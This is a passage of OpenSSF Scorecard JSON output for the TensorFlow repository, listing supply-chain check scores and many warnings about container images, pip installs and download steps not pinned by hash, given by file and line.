debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: 